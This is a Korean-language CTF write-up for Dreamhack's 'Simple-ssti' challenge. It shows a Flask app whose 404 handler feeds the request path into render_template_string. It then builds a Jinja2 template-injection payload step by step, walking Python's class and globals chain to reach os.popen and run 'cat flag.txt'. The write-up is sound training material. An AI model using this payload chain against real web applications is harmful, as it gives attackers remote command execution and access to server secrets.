[CTF] Dreamhack 문제 풀이: Simple-ssti

Simple-ssti

목차

  1. Vuln
  2. Code
  3. Payload
    1. 전체 구조
    2. 객체 탈출(파이썬 리플렉션 체인)
    3. 특정 클래스 하나를 골라서 전역 네임스페이스로 접근
    4. os 모듈을 찾아 명령 실행
    5. 실행 과정
  4. 참고

1. Vuln

SSTI(Server-side Template Injection): 공격자의 악의적인 코드가 웹 템플릿 엔진(Web Template Engine)에 들어가 서버측에서 템플릿 코드가 실행되는 취약점이다.

2. Code

#!/usr/bin/python3
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

app.secret_key = FLAG


# index 페이지
@app.route('/')
def index():
    return render_template('index.html')

# 404 에러 페이지
@app.errorhandler(404)
def Error404(e):
    template = '''
    <div class="center">
        <h1>Page Not Found.</h1>
        <h3>%s</h3>
    </div>
    ''' % (request.path)
    return render_template_string(template), 404

app.run(host='0.0.0.0', port=8000)

404 에러페이지에서 사용자로부터 입력받은 값을 검증 없이 문자열로 연결, 템플릿으로 조립하고 있다. FLAG는 ./flag.txt에서 읽어와 app.secret_key로 저장하고 있다.

3. Payload

{{"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('cat flag.txt').read()}}

코드에 대해서 설명하자면

3.1. 전체 구조

{{ ... }}: 템플릿 코드 Jinja로 감싼다.

3.2. 객체 탈출(파이썬 리플렉션 체인)

"".__class__.__base__.__subclasses__()

  • "": 빈 문자열 객체(str 인스턴스)
  • .__class__: 그 객체의 클래스 -> str
  • .__base__: 그 클래스의 부모 클래스 -> object
  • .__subclasses__(): object를 상속하는 모든 클래스 목록을 리스트로 반환한다.

리플렉션(Reflection): 런타임에서 프로그램의 구조를 파악하고 동적 객체 생성 및 함수 호출 등의 행위를 수행할 수 있게 해주는 장치이다.

3.3. 특정 클래스 하나를 골라서 전역 네임스페이스로 접근

__subclasses__()[109].__init__.__globals__

  • [109] : subclasses 리스트에서 109번째 클래스를 고른다. (환경마다 인덱스는 달라진다)
  • .__init__ : 그 클래스의 생성자 함수
  • .__globals__ : 그 함수가 참조하는 전역 변수 딕셔너리(모듈 전역 스코프)

3.4. os 모듈을 찾아 명령 실행

['sys'].modules['os'].popen('cat flag.txt').read()

  • ['sys'] : 전역에서 sys 객체를 꺼낸다.
  • sys.modules['os'] : 이미 로드된 os 모듈 객체 참조
  • os.popen('cat flag.txt') : 쉘 명령 실행 파이프 연다.
  • .read() : 실행 결과(표준출력)를 문자열로 읽는다.

3.5. 실행 과정

토글 접기/펼치기

7*7 404x118

"".__class__ 404x108

`` 404x111

"".__class__.__base__.__subclasses__() 404x428

"".__class__.__base__.__subclasses__()[109].__init__ 404x112

"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'] 404x109

"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'] 404x108

"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('cat flag.txt') 404x107

{{"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('cat flag.txt').read()}}

404x112


참고

Comments

Newest Posts